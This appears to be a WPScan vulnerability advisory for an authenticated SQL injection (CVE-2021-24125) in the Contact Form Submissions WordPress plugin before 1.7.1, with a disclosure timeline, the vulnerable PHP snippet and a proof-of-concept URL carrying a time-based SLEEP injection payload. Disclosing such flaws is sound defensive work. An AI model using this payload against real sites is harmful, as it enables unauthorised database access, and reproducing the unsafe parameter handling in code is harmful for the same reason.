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WordPress Plugin Vulnerabilities

Contact Form Submissions < 1.7.1 - Authenticated SQL Injection

Description

The wpcf7_contact_form GET parameter is vulnerable to SQL injection when submitting a filter request as a high privilege user (admin+)

Edit (WPScanTeam)

September 28th, 2020 - Escalated to WP & WP Investigating
October 26th, 2020 - Received another submission related a SQL injection in the same parameter but with a different vector: https://wpscan.com/vulnerability/0c3a91d4-a75a-4107-bfc5-015590a72abe
January 3rd, 2021 - No updates, disclosing
March 29th, 2021 - v1.7 released to attempt to remediate the issue using sanitize_text_field(), which does not fix the SQL injection
April 7th, 2021 - v1.7.1 released, fixing the issue

Proof of Concept

if (isset($_GET['wpcf7_contact_form']) && !empty($_GET['wpcf7_contact_form'])) {
            $form_id = esc_attr($_GET['wpcf7_contact_form']);
            $wpcf7s_columns = $this->get_available_columns($form_id);

https://asciinema.org/a/ek0gA455FfKoukISs4AxTxJ5E

https://example.com/wp-admin/edit.php?post_status=all&post_type=wpcf7s&wpcf7_contact_form=(SELECT+42+FROM+(SELECT(SLEEP(5)))aa)&filter_action=Filter&paged=1 

Affects Plugins

contact-form-submissions
Fixed in version 1.7.1

References

CVE
CVE-2021-24125

Classification

Type

SQLI

OWASP top 10
A1: Injection
CWE
CWE-89

Miscellaneous

Original Researcher

minhtuanact + vigov5 SunCSR

Submitter

Minh Tuan

Submitter website
https://research.sun-asterisk.com/
Submitter twitter
tuanbgpro97
Verified

Yes

WPVDB ID
8591b3c9-b041-4ff5-b8d9-6f9f81041178

Timeline

Publicly Published

2021-01-03 (about 2 years ago)

Added

2021-01-03 (about 2 years ago)

Last Updated

2021-04-08 (about 1 years ago)

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